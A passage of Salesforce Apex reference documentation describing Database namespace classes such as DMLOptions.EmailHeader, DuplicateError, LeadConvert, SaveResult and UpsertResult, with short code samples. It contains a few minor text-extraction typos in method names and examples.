    System.debug('Duplicate account has been inserted in Salesforce!');
}
```

DmLOptions.EmailHeader Class

Enables setting email options.

Namespace

Database

Usage

Even though auto-sent emails can be triggered by actions in the Salesforce user interface, the DmLOptions settings for emailHeader take effect only for DML operations carried out in Apex code.

Example

In the following example, the triggerAutoResponseEmail option is specified:

```java
Account a = new Account(name='Acme Plumbing');

    insert a;

    Contact c = new Contact(email='jplumber@salesforce.com',
firstname='Joe',lastname='Plumber', accountid=a.id);

    insert c;

    Database.DMLOptions dlo = new Database.DMLOptions();
    dlo.EmailHeader.triggerAutoResponseEmail = true;

    Case ca = new Case(subject='Plumbing Problems', contactid=c.id);
```
Suppose that you use an after-insert or after-update trigger to change ownership of leads, contacts, or opportunities. If you use the API to change record ownership, or if a Lightning Experience user changes a record’s owner, no email notification is sent. To send email notifications to a record’s new owner, set the `triggerUserEmail` property to `true`.

**DmlOptions.EmailHeader Properties**

The following are properties for `DmlOptions.EmailHeader`.

**IN THIS SECTION:**

- `triggerAutoResponseEmail`
  - Indicates whether to trigger auto-response rules (`true`) or not (`false`), for leads and cases.

- `triggerOtherEmail`
  - Indicates whether to trigger email outside the organization (`true`) or not (`false`).

- `triggerUserEmail`
  - Indicates whether to trigger email that is sent to users in the organization (`true`) or not (`false`).

### `triggerAutoResponseEmail`

Indicates whether to trigger auto-response rules (`true`) or not (`false`), for leads and cases.

**Signature**

```java
public Boolean triggerAutoResponseEmail {get; set;}
```

**Property Value**

Type: `Boolean`

**Usage**

This email can be automatically triggered by a number of events, for example creating a case or resetting a user password. If this value is set to `true`, when a case is created, if there is an email address for the contact specified in `ContactID`, the email is sent to that address. If not, the email is sent to the address specified in `SuppliedEmail`.

### `triggerOtherEmail`

Indicates whether to trigger email outside the organization (`true`) or not (`false`).

**Signature**

```java
public Boolean triggerOtherEmail {get; set;}
```

**Property Value**

Type: `Boolean`
Usage

This email can be automatically triggered by creating, editing, or deleting a contact for a case.

Note: Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which IsGroupEvent is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note the following behaviors for group event email sent through Apex:

- Sending a group event invitation to a lead or contact respects the triggerOtherEmail option
- Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail options, as appropriate

triggerUserEmail

Indicates whether to trigger email that is sent to users in the organization (true) or not (false).

Signature

public Boolean triggerUserEmail {get; set;}

Property Value

Type: Boolean

Usage

This email can be automatically triggered by a number of events; resetting a password, creating a new user, or creating or modifying a task.

Note: Adding comments to a case in Apex doesn’t trigger email to users in the organization even if triggerUserEmail is set to true.

Note: Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which IsGroupEvent is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note the following behaviors for group event email sent through Apex:

- Sending a group event invitation to a user respects the triggerUserEmail option
- Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail options, as appropriate

DuplicateError Class

Contains information about an error that occurred when an attempt was made to save a duplicate record. Use if your organization has set up duplicate rules, which are part of the Duplicate Management feature.

Namespace

Database
Example
When you try to save a record that’s identified as a duplicate record by a duplicate rule, you'll receive a duplicate error. If the duplicate rule contains the Allow action, an attempt will be made to bypass the error.

```java
// Try to save a duplicate account
Account duplicateAccount = new Account(Name='Acme', BillingCity='San Francisco');
Database.SaveResult sr = Database.insert(duplicateAccount, false);
if (!sr.isSuccess()) {
    // Insertion failed due to duplicate detected
    for (Database.Error duplicateError : sr.getErrors()) {
        Datacloud.DuplicateResult duplicateResult =
            ((Database.DuplicateError)duplicateError).getDuplicateResult();
        System.debug('Duplicate records have been detected by ' +
                      duplicateResult.getDuplicateRule());
        System.debug(duplicateResult.getErrorMessage());
    }

    // If the duplicate rule is an alert rule, we can try to bypass it
    Database.DMLOptions dml = new Database.DMLOptions();
    dml.DuplicateRuleHeader.AllowSave = true;
    Database.SaveResult sr2 = Database.insert(duplicateAccount, dml);
    if (sr2.isSuccess()) {
        System.debug('Duplicate account has been inserted in Salesforce!');
    }
}
```

IN THIS SECTION:
DuplicateError Methods

SEE ALSO:
SaveResult Class
DuplicateResult Class
Error Class

DuplicateError Methods
The following are methods for DuplicateError.

IN THIS SECTION:
getDuplicateResult()
- Returns the details of a duplicate rule and duplicate records found by the duplicate rule.

getFields()
- Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.

getMessage()
- Returns the error message text.
getStatusCode()
Returns a code that characterizes the error.

getDuplicateResult()
Returns the details of a duplicate rule and duplicate records found by the duplicate rule.

Signature
public Datacloud.DuplicateResult getDuplicateResult()

Return Value
Type: Datacloud.DuplicateResult

Example
This example shows the code used to get the possible duplicates and related match information after saving a new contact. This code is part of a custom application that implements duplicate management when users add a contact. See DuplicateResult Class on page 2408 to check out the entire sample application.

datacloud.DuplicateResult duplicateResult = duplicateError.getDuplicateResult();

getFields()
Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.

Signature
public List<String> getFields()

Return Value
Type: List<String>

getMessage()
Returns the error message text.

Signature
public String getMessage()

Return Value
Type: String

getStatusCode()
Returns a code that characterizes the error.
EmptyRecycleBinResult Class
The result of the emptyRecycleBin DML operation returned by the Database.emptyRecycleBin method.

Namespace
Database

Usage
A list of Database.EmptyRecycleBinResult objects is returned by the Database.emptyRecycleBin method. Each object in the list corresponds to either a record ID or an sObject passed as the parameter in the Database.emptyRecycleBin method. The first index in the EmptyRecycleBinResult list matches the first record or sObject specified in the list, the second with the second, and so on.

EmptyRecycleBinResult Methods
The following are methods for EmptyRecycleBinResult. All are instance methods.

IN THIS SECTION:
getErrors()
If an error occurred during the delete for this record or sObject, returns a list of one or more Database.Error objects. If no errors occurred, the returned list is empty.

getId()
Returns the ID of the record or sObject you attempted to delete.

isSuccess()
Returns true if the record or sObject was successfully removed from the Recycle Bin; otherwise false.

getErrors()
If an error occurred during the delete for this record or sObject, returns a list of one or more Database.Error objects. If no errors occurred, the returned list is empty.

Signature
public Database.Errors[] getErrors()
**getId()**
Returns the ID of the record or sObject you attempted to delete.

Signature
```
public ID getId()
```

Return Value
Type: ID

**isSuccess()**
Returns `true` if the record or sObject was successfully removed from the Recycle Bin; otherwise `false`.

Signature
```
public Boolean isSuccess()
```

Return Value
Type: Boolean

**Error Class**
Represents information about an error that occurred during a DML operation when using a Database method.

**Namespace**
```
Database
```

**Usage**
```
Error class is part of SaveResult, which is generated when a user attempts to save a Salesforce record.
```

**SEE ALSO:**
```
SaveResult Class
DuplicateError Class
```

**Error Methods**
The following are methods for `Error`. All are instance methods.

**IN THIS SECTION:**
```
getFields()
Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.
getMessage()
Returns the error message text.
```
getStatusCode()
Returns a code that characterizes the error.

getFields()
Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.

Signature
public String[] getFields()

Return Value
Type: String[]

getMessage()
Returns the error message text.

Signature
public String getMessage()

Return Value
Type: String

getStatusCode()
Returns a code that characterizes the error.

Signature
public StatusCode getStatusCode()

Return Value
Type: StatusCode

Usage
The full list of status codes is available in the WSDL file for your organization (see Downloading Salesforce WSDLs and Client Authentication Certificates in the Salesforce online help.)

GetDeletedResult Class
Contains the deleted records retrieved for a specific sObject type and time window.

Namespace
Database
Usage

The `Database.getDeleted` method returns the deleted record information as a `Database.GetDeletedResult` object.

GetDeletedResult Methods

The following are methods for `GetDeletedResult`. All are instance methods.

IN THIS SECTION:

- `getDeletedRecords()`: Returns a list of deleted records for the time window specified in the `Database.getDeleted` method call.
- `getEarliestDateAvailable()`: Returns the date in Coordinated Universal Time (UTC) of the earliest physically deleted object for the sObject type specified in `Database.getDeleted`.
- `getLatestDateCovered()`: Returns the date in Coordinated Universal Time (UTC) of the last date covered in the `Database.getDeleted` call.

**getDeletedRecords()**

Returns a list of deleted records for the time window specified in the `Database.getDeleted` method call.

Signature

```
public List<Database.DeletedRecord> getDeletedRecords()
```

Return Value

Type: `List<Database.DeletedRecord>`

**getEarliestDateAvailable()**

Returns the date in Coordinated Universal Time (UTC) of the earliest physically deleted object for the sObject type specified in `Database.getDeleted`.

Signature

```
public Date getEarliestDateAvailable()
```

Return Value

Type: `Date`

**getLatestDateCovered()**

Returns the date in Coordinated Universal Time (UTC) of the last date covered in the `Database.getDeleted` call.

Signature

```
public Date getLatestDateCovered()
```
Return Value
Type: Date

Usage
If there is a value, it is less than or equal to the endDate argument of Database.getDeleted. A value here indicates that, for safety, you should use this value for the startDate of your next call to capture the changes that started after this date but didn’t complete before endDate and were, therefore, not returned in the previous call.

GetUpdatedResult Class
Contains the result for the Database.getUpdated method call.

Namespace
Database

Usage
Use the methods in this class to obtain detailed information about the updated records returned by Database.getUpdated for a specific time window.

GetUpdatedResult Methods
The following are methods for GetUpdatedResult. All are instance methods.

IN THIS SECTION:

getIds()
Returns the IDs of records updated within the time window specified in the Database.getUpdated method.

getLatestDateCovered()
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the Database.getUpdated call.

getIds()
Returns the IDs of records updated within the time window specified in the Database.getUpdated method.

Signature
public List<Id> getIds()

Return Value
Type: List<Id>

getLatestDateCovered()
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the Database.getUpdated call.
Signature

```java
public Date getLatestDateCovered()
```

Return Value

Type: Date

**LeadConvert Class**

Contains information used for lead conversion.

**Namespace**

Database

**Usage**

The `convertLead` Database method converts a lead into an account and contact or an account and person account, as well as (optionally) an opportunity. The `convertLead` takes an instance of the `Database.LeadConvert` class as a parameter. Create an instance of this class and set the information required for conversion, such as setting the lead, and destination account and contact.

**Note:** The `Database.convertLead()` method can take one `LeadConvert` object or a list of `LeadConvert` objects.

**Example**

This example shows how to use the `Database.convertLead` method to convert a lead. It inserts a new lead, creates a `LeadConvert` object, sets its status to converted, then passes it to the `Database.convertLead` method. Finally, it verifies that the conversion was successful.

```java
Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons');
insert myLead;

Database.LeadConvert lc = new Database.LeadConvert();
lc.setLeadId(myLead.id);

LeadStatus convertStatus = [SELECT Id, MasterLabel FROM LeadStatus WHERE IsConverted=true LIMIT 1];
lc.setConvertedStatus(convertStatus.MasterLabel);

Database.LeadConvertResult lcr = Database.convertLead(lc);
System.assert(lcr.isSuccess());
```

IN THIS SECTION:

- LeadConvert Constructors
- LeadConvert Methods

**LeadConvert Constructors**

The following are constructors for `LeadConvert`.

2385
IN THIS SECTION:

LeadConvert()

Creates a new instance of the Database.LeadConvert class.

Signature

class LeadConvert()

LeadConvert Methods

The following are methods for LeadConvert. All are instance methods.

IN THIS SECTION:

getAccountId()

Gets the ID of the account into which the lead will be merged.

getContactId()

Gets the ID of the contact into which the lead will be merged.

getConvertedStatus()

Gets the lead status value for a converted lead.

getLeadId()

Gets the ID of the lead to convert.

getOpportunityName()

Gets the name of the opportunity to create.

getOwnerId()

Gets the ID of the person to own any newly created account, contact, and opportunity.

getRelatedPersonAccountId()

Gets the ID of the existing person account into which the lead will be converted.

getRelatedPersonAccountRecord()

Gets the entity record of the new person account into which the lead will be converted.

isDoNotCreateOpportunity()

Indicates whether an Opportunity is created during lead conversion (false, the default) or not (true).

isOverWriteLeadSource()

Indicates whether the LeadSource field on the target Contact object is overwritten with the contents of the LeadSource field in the source Lead object (true), or not (false, the default).

isSendNotificationEmail()

Indicates whether a notification email is sent to the owner specified by setOwnerId (true) or not (false, the default).

setAccountId(accountId)

Sets the ID of the account into which the lead is merged. This value is required only when updating an existing account, including person accounts.
setContactId(contactId)
Sets the ID of the contact into which the lead will be merged (this contact must be associated with the account specified with
setAccountId, and setAccountId must be specified). This value is required only when updating an existing contact.

setConvertedStatus(status)
Sets the lead status value for a converted lead. This field is required.

setDoNotCreateOpportunity(createOpportunity)
Specifies whether to create an opportunity during lead conversion. The default value is false: opportunities are created by default.
Set this flag to true only if you do not want to create an opportunity from the lead.

setLeadId(leadId)
Sets the ID of the lead to convert. This field is required.

setOpportunityId(opportunityId)
Sets the ID of the opportunity into which the lead is merged. This value is required only when updating an existing opportunity.

setOpportunityName(opportunityName)
Sets the name of the opportunity to create. If no name is specified, this value defaults to the company name of the lead.

setOverwriteLeadSource(overwriteLeadSource)
Specifies whether to overwrite the LeadSource field on the target contact object with the contents of the LeadSource field
in the source lead object. The default value is false, to not overwrite the field. If you specify this as true, you must also specify
setContactId for the target contact.

setOwnerId(ownerId)
Specifies the ID of the person to own any newly created account, contact, and opportunity. If the application does not specify this
value, the owner of the new object will be the owner of the lead.

setRelatedPersonAccountId(relatedPersonAccountId)
Sets the ID of the existing person account into which to convert the lead. This value is required only when updating an existing
person account.

setRelatedPersonAccountRecord(Entity relatedPersonAccountRecord)
Sets the entity record of the new person account into which to convert the lead.

setSendNotificationEmail(sendEmail)
Specifies whether to send a notification email to the owner specified by setOwnerId. The default value is false, that is, to not
send email.

getAccountId()
Gets the ID of the account into which the lead will be merged.

Signature
public ID getAccountId()

Return Value
Type: ID

getContactId()
Gets the ID of the contact into which the lead will be merged.
Signature

public ID getContactId()

Return Value
Type: ID

goingConvertedStatus()

Gets the lead status value for a converted lead.

Signature

public String getConvertedStatus()

Return Value
Type: String

getLeadID()

Gets the ID of the lead to convert.

Signature

public ID getLeadID()

Return Value
Type: ID

getOpportunityName()

Gets the name of the opportunity to create.

Signature

public String getOpportunityName()

Return Value
Type: String

getOwnerID()

Gets the ID of the person to own any newly created account, contact, and opportunity.

Signature

public ID getOwnerID()
Return Value
Type: ID

**getRelatedPersonAccountId()**
Gets the ID of the existing person account into which the lead will be converted.

Signature
```java
public ID getRelatedPersonAccountId()
```

Return Value
Type: ID

**getRelatedPersonAccountRecord()**
Gets the entity record of the new person account into which the lead will be converted.

Signature
```java
public ID getRelatedPersonAccountRecord()
```

Return Value
Type: ID

**isDoNotCreateOpportunity()**
Indicates whether an Opportunity is created during lead conversion (false, the default) or not (true).

Signature
```java
public Boolean isDoNotCreateOpportunity()
```

Return Value
Type: Boolean

**isOverWriteLeadSource()**
Indicates whether the LeadSource field on the target Contact object is overwritten with the contents of the LeadSource field in the source Lead object (true), or not (false, the default).

Signature
```java
public Boolean isOverWriteLeadSource()
```

Return Value
Type: Boolean
**isSendNotificationEmail()**
Indicates whether a notification email is sent to the owner specified by `setOwnerId` (`true`) or not (`false`, the default).

Signature
```
public Boolean isSendNotificationEmail()
```

Return Value
Type: Boolean

**setAccountId(accountId)**
Sets the ID of the account into which the lead is merged. This value is required only when updating an existing account, including person accounts.

Signature
```
public Void setAccountId(ID accountId)
```

Parameters
accountId
Type: ID

Return Value
Type: Void

**setContactId(contactId)**
Sets the ID of the contact into which the lead will be merged (this contact must be associated with the account specified with `setAccountId`, and `setAccountId` must be specified). This value is required only when updating an existing contact.

Signature
```
public Void setContactId(ID contactId)
```

Parameters
contactId
Type: ID

Return Value
Type: Void
Usage

If `setContactId` is specified, then the application creates a new contact that is implicitly associated with the account. The contact name and other existing data are not overwritten (unless `setOverwriteLeadSource` is set to true, in which case only the LeadSource field is overwritten).

**Important:** If you are converting a lead into a person account, do not specify `setContactId` or an error will result. Specify only `setAccountId` of the person account.

`setConvertedStatus(status)`

Sets the lead status value for a converted lead. This field is required.

**Signature**

```java
public Void setConvertedStatus(String status)
```

**Parameters**

`status`

Type: `String`

**Return Value**

Type: `Void`

`setDoNotCreateOpportunity(createOpportunity)`

Specifies whether to create an opportunity during lead conversion. The default value is `false`: opportunities are created by default. Set this flag to `true` only if you do not want to create an opportunity from the lead.

**Signature**

```java
public Void setDoNotCreateOpportunity(Boolean createOpportunity)
```

**Parameters**

`createOpportunity`

Type: `Boolean`

**Return Value**

Type: `Void`

`setLeadId(leadId)`

Sets the ID of the lead to convert. This field is required.

**Signature**

```java
public Void setLeadId(ID leadId)
```
Parameters

`leadId`
Type: ID

Return Value
Type: Void

**setOpportunityId(opportunityId)**
Sets the ID of the opportunity into which the lead is merged. This value is required only when updating an existing opportunity.

Signature

```java
public Void setOpportunityId(ID opportunityId)
```

Parameters

`opportunityId`
Type: ID

Return Value
Type: Void

**setOpportunityName(opportunityName)**
Sets the name of the opportunity to create. If no name is specified, this value defaults to the company name of the lead.

Signature

```java
public Void setOpportunityName(String opportunityName)
```

Parameters

`opportunityName`
Type: String

Return Value
Type: Void

Usage
The maximum length of this field is 80 characters.
If `setDoNotCreateOpportunity` is true, no Opportunity is created and this field must be left blank; otherwise, an error is returned.
**setOverwriteLeadSource(overwriteLeadSource)**

Specifies whether to overwrite the LeadSource field on the target contact object with the contents of the LeadSource field in the source lead object. The default value is false, to not overwrite the field. If you specify this as true, you must also specify setContactId for the target contact.

**Signature**

```java
public Void setOverwriteLeadSource(Boolean overwriteLeadSource)
```

**Parameters**

*overwriteLeadSource*

Type: Boolean

**Return Value**

Type: Void

**setOwnerId(ownerId)**

Specifies the ID of the person to own any newly created account, contact, and opportunity. If the application does not specify this value, the owner of the new object will be the owner of the lead.

**Signature**

```java
public Void setOwnerId(ID ownerId)
```

**Parameters**

*ownerId*

Type: ID

**Return Value**

Type: Void

**Usage**

This method is not applicable when merging with existing objects—if setOwnerId is specified, the ownerId field is not overwitten in an existing account or contact.

**setRelatedPersonAccountId(relatedPersonAccountId)**

Sets the ID of the existing person account into which to convert the lead. This value is required only when updating an existing person account.

**Signature**

```java
public Void setRelatedPersonAccountID(ID relatedPersonAccountID)
```
Parameters

relatedPersonAccountId
Type: ID

Return Value
Type: Void

**setRelatedPersonAccountRecord(Entity relatedPersonAccountRecord)**
Sets the entity record of the new person account into which to convert the lead.

Signature

```
public Void setRelatedPersonAccountRecord(Entity relatedPersonAccountRecord)
```

Parameters

relatedPersonAccountRecord
Type: ID

Return Value
Type: Void

**setSendNotificationEmail(sendEmail)**
Specifies whether to send a notification email to the owner specified by setOwnerId. The default value is false, that is, not to send email.

Signature

```
public Void setSendNotificationEmail(Boolean sendEmail)
```

Parameters

sendEmail
Type: Boolean

Return Value
Type: Void

**LeadConvertResult Class**
The result of a lead conversion.

**Namespace**

Database
Usage

An array of LeadConvertResult objects is returned with the convertLead Database method. Each element in the LeadConvertResult array corresponds to the sObject array passed as the sObject[] parameter in the convertLead Database method, that is, the first element in the LeadConvertResult array matches the first element passed in the SObject array, the second element corresponds to the second element, and so on. If only one sObject is passed in, the LeadConvertResult array contains a single element.

LeadConvertResult Methods

The following are methods for LeadConvertResult. All are instance methods.

IN THIS SECTION:

- getAccountId()
- getContactId()
- getErrors()
- getLeadId()
- getOpportunityId()
- getRelatedPersonAccountId()
- isSuccess()

getAccountId()

The ID of the new account (if a new account was specified) or the ID of the account specified when convertLead was invoked.

Signature

public ID getAccountId()

Return Value

Type: ID

getContactId()

The ID of the new contact (if a new contact was specified) or the ID of the contact specified when convertLead was invoked.

Signature

public ID getContactId()
Return Value
Type: ID

**getErrors()**
If an error occurred, an array of one or more database error objects providing the error code and description.

Signature
```
public Database.Error[] getErrors()
```

Return Value
Type: `Database.Error[]`

**getLeadId()**
The ID of the converted lead.

Signature
```
public ID getLeadId()
```

Return Value
Type: ID

**getOpportunityId()**
The ID of the new opportunity, if one was created when `convertLead` was invoked.

Signature
```
public ID getOpportunityId()
```

Return Value
Type: ID

**getRelatedPersonAccountId()**
The ID of the new or existing person account specified when `convertLead` was invoked.

Signature
```
public ID getRelatedPersonAccountId()
```

Return Value
Type: ID
**isSuccess()**
A Boolean value that is set to `true` if the DML operation was successful for this object, `false` otherwise.

**Signature**
```java
public Boolean isSuccess()
```

**Return Value**
Type: `Boolean`

**MergeResult Class**
Contains the result of a merge Database method operation.

**Namespace**
`Database`

**Usage**
The `Database.merge` method returns a `Database.MergeResult` object for each merged record.

**MergeResult Methods**
The following are methods for `MergeResult`. All are instance methods.

**IN THIS SECTION:**
- `getErrors()`
  - Returns a list of `Database.Error` objects representing the errors encountered, if any, during a merge operation using the `Database.merge` method. If no error occurred, returns null.
- `getId()`
  - Returns the ID of the master record into which other records were merged.
- `getMergeredRecordIds()`
  - Returns the IDs of the records merged into the master record.
- `getUpdatedRelatedIds()`
  - Returns the IDs of all related records that were reparented as a result of the merge that are viewable by the user sending the merge call.
- `isSuccess()`
  - Indicates whether the merge was successful (`true`) or not (`false`).

**getErrors()**
Returns a list of `Database.Error` objects representing the errors encountered, if any, during a merge operation using the `Database.merge` method. If no error occurred, returns null.
getErrors()

Return Value
Type: List<Database.Error>

getId()

Returns the ID of the master record into which other records were merged.

getMergedRecordIds()

Returns the IDs of the records merged into the master record.

getUpdatedRelatedIds()

Returns the IDs of all related records that were reparented as a result of the merge that are viewable by the user sending the merge call.

isSuccess()

Indicates whether the merge was successful (true) or not (false).
Return Value
Type: Boolean

**QueryLocator Class**
Represents the record set returned by `Database.getQueryLocator` and used with Batch Apex.

**Namespace**
`Database`

**QueryLocator Methods**
The following are methods for `QueryLocator`. All are instance methods.

**IN THIS SECTION:**
- `getQuery()`
  - Returns the query used to instantiate the `Database.QueryLocator` object. This is useful when testing the `start` method.
- `iterator()`
  - Returns a new instance of a query locator iterator.

**getQuery()**
Returns the query used to instantiate the `Database.QueryLocator` object. This is useful when testing the `start` method.

Signature
`public String getQuery()`

Return Value
Type: String

Usage
You cannot use the `FOR UPDATE keywords` with a `getQueryLocator` query to lock a set of records. The `start` method automatically locks the set of records in the batch.

Example
```java
System.assertEquals(QLReturnedFromStart.getQuery(),
    Database.getQueryLocator([SELECT Id
    FROM Account]).getQuery());
```

**iterator()**
Returns a new instance of a query locator iterator.
Signature

```
public Database.QueryLocatorIterator iterator()
```

Return Value
Type: Database.QueryLocatorIterator

Usage

⚠️ **Warning**: To iterate over a query locator, save the iterator instance that this method returns in a variable and then use this variable to iterate over the collection. Calling `iterator` every time you want to perform an iteration can result in incorrect behavior because each call returns a new iterator instance.

For an example, see `QueryLocatorIterator Class`.

**QueryLocatorIterator Class**

Represents an iterator over a query locator record set.

**Namespace**

Database

**Example**

This sample shows how to obtain an iterator for a query locator, which contains five accounts. This sample calls `hasNext` and `next` to get each record in the collection.

```java
// Get a query locator
Database.QueryLocator q = Database.getQueryLocator([SELECT Name FROM Account LIMIT 5]);
// Get an iterator
Database.QueryLocatorIterator it = q.iterator();

// Iterate over the records
while (it.hasNext())
{
    Account a = (Account)it.next();
    System.debug(a);
}
```

**QueryLocatorIterator Methods**

The following are methods for `QueryLocatorIterator`. All are instance methods.

IN THIS SECTION:

- `hasNext()`
  Returns `true` if there are one or more records remaining in the collection; otherwise, returns `false`.
- `next()`
  Advances the iterator to the next sObject record and returns the sObject.
hasNext()
Returns true if there are one or more records remaining in the collection; otherwise, returns false.

Signature
public Boolean hasNext()

Return Value
Type: Boolean

next()
Advances the iterator to the next sObject record and returns the sObject.

Signature
public sObject next()

Return Value
Type: sObject

Usage
Because the return value is the generic sObject type, you must cast it if using a more specific type. For example:

```
Account a = (Account)myIterator.next();
```

Example
```
Account a = (Account)myIterator.next();
```

SaveResult Class
The result of an insert or update DML operation returned by a Database method.

Namespace
Database

Usage
An array of SaveResult objects is returned with the insert and update database methods. Each element in the SaveResult array corresponds to the sObject array passed as the sObject[] parameter in the Database method, that is, the first element in the SaveResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the SaveResult array contains a single element.

A SaveResult object is generated when a new or existing Salesforce record is saved.
Example

The following example shows how to obtain and iterate through the returned Database.SaveResult objects. It inserts two accounts using Database.insert with a false second parameter to allow partial processing of records on failure. One of the accounts is missing the Name required field, which causes a failure. Next, it iterates through the results to determine whether the operation was successful or not for each record. It writes the ID of every record that was processed successfully to the debug log, or error messages and fields of the failed records. This example generates one successful operation and one failure.

```java
// Create two accounts, one of which is missing a required field
Account[] accts = new List<Account> {
    new Account(Name='Account1'),
    new Account();};
Database.SaveResult[] srList = Database.insert(accts, false);

// Iterate through each returned result
for (Database.SaveResult sr : srList) {
    if (sr.isSuccess()) {
        // Operation was successful, so get the ID of the record that was processed
        System.debug('Successfully inserted account. Account ID: ' + sr.getId());
    } else {
        // Operation failed, so get all errors
        for(Database.Error err : sr.getErrors()) {
            System.debug('The following error has occurred.
            System.debug(err.getStatusCode() + ': ' + err.getMessage());
            System.debug('Account fields that affected this error: ' + err.getFields());
        }
    }
}
```

SEE ALSO:
- Error Class
- DuplicateError Class

SaveResult Methods

The following are methods for SaveResult. All are instance methods.

IN THIS SECTION:
- getErrors()
- getId()
- isSuccess()
getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error occurred, returns an empty set.

Signature
public Database.Error[] getErrors()

Return Value
Type: Database.Error[]

getId()
Returns the ID of the sObject you were trying to insert or update.

Signature
public ID getId()

Return Value
Type: ID

Usage
If this field contains a value, the object was successfully inserted or updated. If this field is empty, the operation was not successful for that object.

isSuccess()
Returns a Boolean that is set to true if the DML operation was successful for this object, false otherwise.

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

Example
This example shows the code used to process duplicate records, which are detected when there is an unsuccessful save due to an error. This code is part of a custom application that implements duplicate management when users add a contact. See DuplicateResult Class on page 2408 to check out the entire sample application.

```java
if (!saveResult.isSuccess()) { ... }
```
UndeleteResult Class
The result of an undelete DML operation returned by the Database.undelete method.

Namespace
Database

Usage
An array of Database.UndeleteResult objects is returned with the undelete database method. Each element in the UndeleteResult array corresponds to the sObject array passed as the sObject[] parameter in the undelete Database method; that is, the first element in the UndeleteResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the UndeleteResults array contains a single element.

UndeleteResult Methods
The following are methods for UndeleteResult. All are instance methods.

IN THIS SECTION:
- getErrors()
- getId()
- isSuccess()

getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error occurred, returns null.

Signature
public Database.Error[] getErrors()

Return Value
Type: Database.Error[]

getId()
Returns the ID of the sObject you were trying to undelete.

Signature
public ID getId()
Return Value
Type: ID

Usage
If this field contains a value, the object was successfully undeleted. If this field is empty, the operation was not successful for that object.

**isSuccess()**
Returns a Boolean value that is set to `true` if the DML operation was successful for this object, `false` otherwise.

Signature
```
public Boolean isSuccess()
```

Return Value
Type: Boolean

**UpsertResult Class**
The result of an upsert DML operation returned by the `Database.upsert` method.

**Namespace**
`Database`

**Usage**
An array of `Database.UpsertResult` objects is returned with the `upsert` database method. Each element in the UpsertResult array corresponds to the sObject array passed as the `sObject[]` parameter in the `upsert` Database method; that is, the first element in the UpsertResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the UpsertResults array contains a single element.

**UpsertResult Methods**
The following are methods for `UpsertResult`. All are instance methods.

IN THIS SECTION:
- `getErrors()`
  If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error occurred, returns an empty set.
- `getId()`
  Returns the ID of the sObject you were trying to update or insert.
- `isCreated()`
  A Boolean value that is set to `true` if the record was created, `false` if the record was updated.
**isSuccess()**

Returns a Boolean value that is set to `true` if the DML operation was successful for this object, `false` otherwise.

**getErrors()**

If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error occurred, returns an empty set.

**Signature**

```
public Database.Error[] getErrors()
```

**Return Value**

Type: `Database.Error[]`

**getId()**

Returns the ID of the sObject you were trying to update or insert.

**Signature**

```
public ID getId()
```

**Return Value**

Type: `ID`

**Usage**

If this field contains a value, the object was successfully updated or inserted. If this field is empty, the operation was not successful for that object.

**isCreated()**

A Boolean value that is set to `true` if the record was created, `false` if the record was updated.

**Signature**

```
public Boolean isCreated()
```

**Return Value**

Type: `Boolean`

**isSuccess()**

Returns a Boolean value that is set to `true` if the DML operation was successful for this object, `false` otherwise.
public Boolean isSuccess()

Return Value
Type: Boolean

Datacloud Namespace

The Datacloud namespace provides classes and methods for retrieving information about duplicate rules. Duplicate rules let you control whether and when users can save duplicate records within Salesforce.

The following are the classes in the Datacloud namespace.

IN THIS SECTION:

  AdditionalInformationMap Class
  Represents other information, if any, about matched records.

  DuplicateResult Class
  Represents the details of a duplicate rule that detected duplicate records and information about those duplicate records.

  FieldDiff Class
  Represents the name of a matching rule field and how the values of the field compare for the duplicate and its matching record.

  FindDuplicates Class
  Performs rule-based searches for duplicate records. The input is an array of sObjects. Each sObject represents a record you want to find duplicates of. The output identifies the detected duplicates for each input sObject based on active duplicate rules for the given object.

  FindDuplicatesByIds Class
  Performs rule-based searches for duplicate records. The input is an array of IDs. Each ID specifies records to search for duplicates among. The duplicates are detected based on the active duplicate rules applicable to the object type corresponding to the input IDs.

  FindDuplicatesResult Class
  Output for rule-based searches for duplicate records. FindDuplicatesResult contains results of detecting duplicates using instances of FindDuplicates or FindDuplicatesByIds classes.

  MatchRecord Class
  Represents a duplicate record detected by a matching rule.

  MatchResult Class
  Represents the duplicate results for a matching rule.

AdditionalInformationMap Class

Represents other information, if any, about matched records.

Namespace

Datacloud
IN THIS SECTION:

AdditionalInformationMap Methods

AdditionalInformationMap Methods
The following are methods for AdditionalInformationMap.

IN THIS SECTION:

getName()
Returns the element name.

ggetValue()
Returns the value of the element.

**getName()**
Returns the element name.

**Signature**

```
public String getName()
```

**Return Value**

Type: **String**

**getValue()**
Returns the value of the element.

**Signature**

```
public String getValue()
```

**Return Value**

Type: **String**

**DuplicateResult Class**
Represents the details of a duplicate rule that detected duplicate records and information about those duplicate records.

**Namespace**

Datacloud

**Usage**

The DuplicateResult class and its methods are available to organizations that use duplicate rules.
DuplicateResult is contained within DuplicateError, which is part of SaveResult. SaveResult is generated when a user attempts to save a record in Salesforce.

Example

This example shows a custom application that lets users add a contact. When a contact is saved, an alert displays if there are duplicate records.

The sample application consists of a Visualforce page and an Apex controller. The Visualforce page is listed first so that you can see how the page makes use of the Apex controller. Save the Apex class first before saving the Visualforce page.

```xml
<apex:page controller="ContactDedupeController">
    <apex:form>
        <apex:pageBlock title="Duplicate Records" rendered="{"hasDuplicateResult}"/>
        <apex:pageMessages/>
